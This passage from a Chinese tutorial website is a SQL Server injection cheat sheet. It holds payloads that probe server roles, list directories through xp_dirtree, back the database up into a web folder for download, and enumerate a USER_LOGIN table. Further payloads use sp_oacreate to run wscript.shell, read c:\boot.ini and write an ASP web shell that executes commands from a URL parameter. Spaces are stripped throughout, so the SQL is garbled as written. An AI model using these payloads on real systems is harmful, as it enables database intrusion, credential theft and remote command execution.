     语句3:and1=(SELECTIS_SRVROLEMEMBER(setupadmin));-语句4:and1=(SELECTIS_SRVROLEMEMBER(securityadmin));-语句5:and1=(SELECTIS_SRVROLEMEMBER(securityadmin));-语句6:and1=(SELECTIS_SRVROLEMEMBER(diskadmin));-语句7:and1=(SELECTIS_SRVROLEMEMBER(bulkadmin));-语句8:and1=(SELECTIS_SRVROLEMEMBER(bulkadmin));-语句9:and1=(SELECTIS_MEMBER(db_owner));-把路径写到表中去:;createtabledirs(pathsvarchar(100),idint)-;insertdirsexecmaster.dbo.xp_dirtreec:\-and0<>(selecttop1pathsfromdirs)-and0<>(selecttop1pathsfromdirswherepathsnotin(@Inetpub))-;createtabledirs1(pathsvarchar(100),idint)-;insertdirsexecmaster.dbo.xp_dirtreee:\web-and0<>(selecttop1pathsfromdirs1)-把数据库备份到网页目录:下载;declare@asysname;set@a=db_name();backupdatabase@atodisk=e:\web\down.bak;-and1=(Selecttop1namefrom(Selecttop12id,namefromsysobjectswherextype=char(85))Torderbyiddesc)and1=(SelectTop1col_name(object_id(USER_LOGIN),1)fromsysobjects)参看相关表。and1=(selectuser_idfromUSER_LOGIN)and0=(selectuserfromUSER_LOGINwhereuser>1)-=-wscript.shellexample-=declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,notepad.exe;declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,notepad.exe-declare@oint,@fint,@tint,@retintdeclare@linevarchar(8000)execsp_oacreatescripting.filesystemobject,@ooutexecsp_oamethod@o,opentextfile,@fout,c:\boot.ini,1exec@ret=sp_oamethod@f,readline,@lineoutwhile(@ret=0)beginprint@lineexec@ret=sp_oamethod@f,readline,@lineoutend
     declare@oint,@fint,@tint,@retintexecsp_oacreatescripting.filesystemobject,@ooutexecsp_oamethod@o,createtextfile,@fout,c:\inetpub\wwwroot\foo.asp,1exec@ret=sp_oamethod@f,writeline,NULL,<%seto=server.createobject("wscript.
    shell"):o.run(request.querystring("cmd"))%>declare@oint,@retintexecsp_oacreatespeech.voicetext,@ooutexecsp_oamethod@o,register,NULL,foo,barexecsp_oasetproperty@o,speed,150execsp_oamethod@o,speak,NULL,allyoursequelserversarebelongto,us,528waitfordelay00:00:05;declare@oint,@retintexecsp_oacreatespeech.voicetext,@ooutexecsp_oamethod@o,register,NULL,foo,barexecsp_oasetproperty@o,speed,150execsp_oamethod@o,speak,NULL,allyoursequelserversarebelongtous,528waitfordelay00:00:05-xp_dirtree适用权限PUBLICexecmaster.dbo.xp_dirtreec:\返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。createtabledirs(pathsvarchar(100),idint)建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。insertdirsexecmaster.dbo.xp_dirtreec:\只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果.
    
    
  • 上一篇资讯: sql入门到精通学习教程
  • 设为首页 | 加入收藏 | 网学首页 | 原创论文 | 计算机原创
    版权所有 网学网 [Myeducs.cn] 您电脑的分辨率是 像素
    Copyright 2008-2020 myeducs.Cn www.myeducs.Cn All Rights Reserved 湘ICP备09003080号 常年法律顾问:王律师